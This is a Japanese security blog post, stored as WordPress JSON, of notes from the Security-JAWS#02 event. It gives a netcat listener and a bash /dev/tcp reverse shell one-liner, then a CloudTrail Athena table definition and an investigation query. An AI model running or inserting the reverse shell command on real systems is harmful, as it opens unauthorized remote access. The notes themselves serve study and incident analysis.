{"id":3859,"date":"2020-12-13T00:01:23","date_gmt":"2020-12-12T15:01:23","guid":{"rendered":"https:\/\/tech.akat.info\/?p=3859"},"modified":"2020-12-13T00:01:23","modified_gmt":"2020-12-12T15:01:23","slug":"%e3%81%a8%e3%81%82%e3%82%8b%e8%a8%ba%e6%96%ad%e5%93%a1%e3%81%a8security-jaws02-%e3%81%ab%e5%8f%82%e5%8a%a0%e3%81%97%e3%81%9f","status":"publish","type":"post","link":"https:\/\/tech.akat.info\/?p=3859","title":{"rendered":"\u3068\u3042\u308b\u8a3a\u65ad\u54e1\u3068Security-JAWS#02 \u306b\u53c2\u52a0\u3057\u305f"},"content":{"rendered":"<p><a href=\"https:\/\/tigersecjaws.connpass.com\/event\/196448\/\">\u3068\u3042\u308b\u8a3a\u65ad\u54e1\u3068Security-JAWS#02<\/a>\u306b\u53c2\u52a0\u3057\u305f\u3002<br \/>\n\u3068\u3066\u3082\u6709\u76ca\u3060\u3063\u305f\u3002\u77e5\u3089\u306a\u304b\u3063\u305f\u3053\u3068\u3092\u30e1\u30e2\u3059\u308b\u3002<\/p>\n<h2>\u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u596a\u53d6\u65b9\u6cd5<\/h2>\n<pre class=\"brush: plain; title: \u653b\u6483\u5074; notranslate\" title=\"\u653b\u6483\u5074\">\r\n# nc -nlvp 4444\r\nListening on &#x5B;0.0.0.0] (family 0, port 4444)\r\nConnection from x.x.x.x 62966 received!\r\n<\/pre>\n<pre class=\"brush: plain; title: \u88ab\u653b\u6483\u5074; notranslate\" title=\"\u88ab\u653b\u6483\u5074\">\r\n# \/bin\/bash -i &gt;&amp; \/dev\/tcp\/{{IP Address}}\/4444 0&gt;&amp;1\r\n<\/pre>\n<h2>CloudTrail\u3092Athena\u3067\u89e3\u6790\u3059\u308b<\/h2>\n<pre class=\"brush: plain; title: \u30c6\u30fc\u30d6\u30eb\u4f5c\u6210; notranslate\" title=\"\u30c6\u30fc\u30d6\u30eb\u4f5c\u6210\">\r\nCREATE EXTERNAL TABLE `cloudtrail`(\r\n  `eventversion` string COMMENT 'from deserializer', \r\n  `useridentity` struct&lt;type:string,principalid:string,arn:string,accountid:string,invokedby:string,accesskeyid:string,username:string,sessioncontext:struct&lt;attributes:struct&lt;mfaauthenticated:string,creationdate:string&gt;,sessionissuer:struct&lt;type:string,principalid:string,arn:string,accountid:string,username:string&gt;&gt;&gt; COMMENT 'from deserializer', \r\n  `eventtime` string COMMENT 'from deserializer', \r\n  `eventsource` string COMMENT 'from deserializer', \r\n  `eventname` string COMMENT 'from deserializer', \r\n  `awsregion` string COMMENT 'from deserializer', \r\n  `sourceipaddress` string COMMENT 'from deserializer', \r\n  `useragent` string COMMENT 'from deserializer', \r\n  `errorcode` string COMMENT 'from deserializer', \r\n  `errormessage` string COMMENT 'from deserializer', \r\n  `requestparameters` string COMMENT 'from deserializer', \r\n  `responseelements` string COMMENT 'from deserializer', \r\n  `additionaleventdata` string COMMENT 'from deserializer', \r\n  `requestid` string COMMENT 'from deserializer', \r\n  `eventid` string COMMENT 'from deserializer', \r\n  `resources` array&lt;struct&lt;arn:string,accountid:string,type:string&gt;&gt; COMMENT 'from deserializer', \r\n  `eventtype` string COMMENT 'from deserializer', \r\n  `apiversion` string COMMENT 'from deserializer', \r\n  `readonly` string COMMENT 'from deserializer', \r\n  `recipientaccountid` string COMMENT 'from deserializer', \r\n  `serviceeventdetails` string COMMENT 'from deserializer', \r\n  `sharedeventid` string COMMENT 'from deserializer', \r\n  `vpcendpointid` string COMMENT 'from deserializer')\r\nCOMMENT 'CloudTrail table'\r\nROW FORMAT SERDE \r\n  'com.amazon.emr.hive.serde.CloudTrailSerde' \r\nSTORED AS INPUTFORMAT \r\n  'com.amazon.emr.cloudtrail.CloudTrailInputFormat' \r\nOUTPUTFORMAT \r\n  'org.apache.hadoop.hive.ql.io.HiveIgnoreKeyTextOutputFormat'\r\nLOCATION\r\n  's3:\/\/{{BucketName}}\/AWSLogs\/{{AWSAccountNum}}\/CloudTrail'\r\nTBLPROPERTIES (\r\n  'classification'='cloudtrail', \r\n  'transient_lastDdlTime'='1601108304')\r\n<\/pre>\n<pre class=\"brush: plain; title: \u8abf\u67fb\u65b9\u6cd5; notranslate\" title=\"\u8abf\u67fb\u65b9\u6cd5\">\r\nSELECT eventTime, eventName, eventSource, awsRegion,sourceIpAddress, userAgent, errorCode, errorMessage,requestParameters, responseElements FROM&quot;default&quot;.&quot;cloudtrail&quot; WHERE eventSource = 's3.amazonaws.com' ORDER BY eventTime DESC;\r\n<\/pre>\n<p><a href=\"https:\/\/tech.akat.info\/wp-content\/uploads\/2020\/12\/2020-12-12_235725.jpg\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tech.akat.info\/wp-content\/uploads\/2020\/12\/2020-12-12_235725-300x199.jpg\" alt=\"\" width=\"300\" height=\"199\" class=\"alignnone size-medium wp-image-3860\" srcset=\"https:\/\/tech.akat.info\/wp-content\/uploads\/2020\/12\/2020-12-12_235725-300x199.jpg 300w, https:\/\/tech.akat.info\/wp-content\/uploads\/2020\/12\/2020-12-12_235725-1024x680.jpg 1024w, https:\/\/tech.akat.info\/wp-content\/uploads\/2020\/12\/2020-12-12_235725-768x510.jpg 768w, https:\/\/tech.akat.info\/wp-content\/uploads\/2020\/12\/2020-12-12_235725-1536x1020.jpg 1536w, https:\/\/tech.akat.info\/wp-content\/uploads\/2020\/12\/2020-12-12_235725.jpg 1694w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u3068\u3042\u308b\u8a3a\u65ad\u54e1\u3068Security-JAWS#02\u306b\u53c2\u52a0\u3057\u305f\u3002 \u3068\u3066\u3082\u6709\u76ca\u3060\u3063\u305f\u3002\u77e5\u3089\u306a\u304b\u3063\u305f\u3053\u3068\u3092\u30e1\u30e2\u3059\u308b\u3002 \u30ea\u30d0\u30fc\u30b9\u30b7\u30a7\u30eb\u596a\u53d6\u65b9\u6cd5 # nc -nlvp 4444 Listening on &#x5B;0.0.0.0]  [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[27,35],"tags":[],"_links":{"self":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts\/3859"}],"collection":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3859"}],"version-history":[{"count":1,"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts\/3859\/revisions"}],"predecessor-version":[{"id":3861,"href":"https:\/\/tech.akat.info\/index.php?rest_route=\/wp\/v2\/posts\/3859\/revisions\/3861"}],"wp:attachment":[{"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3859"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3859"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tech.akat.info\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3859"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}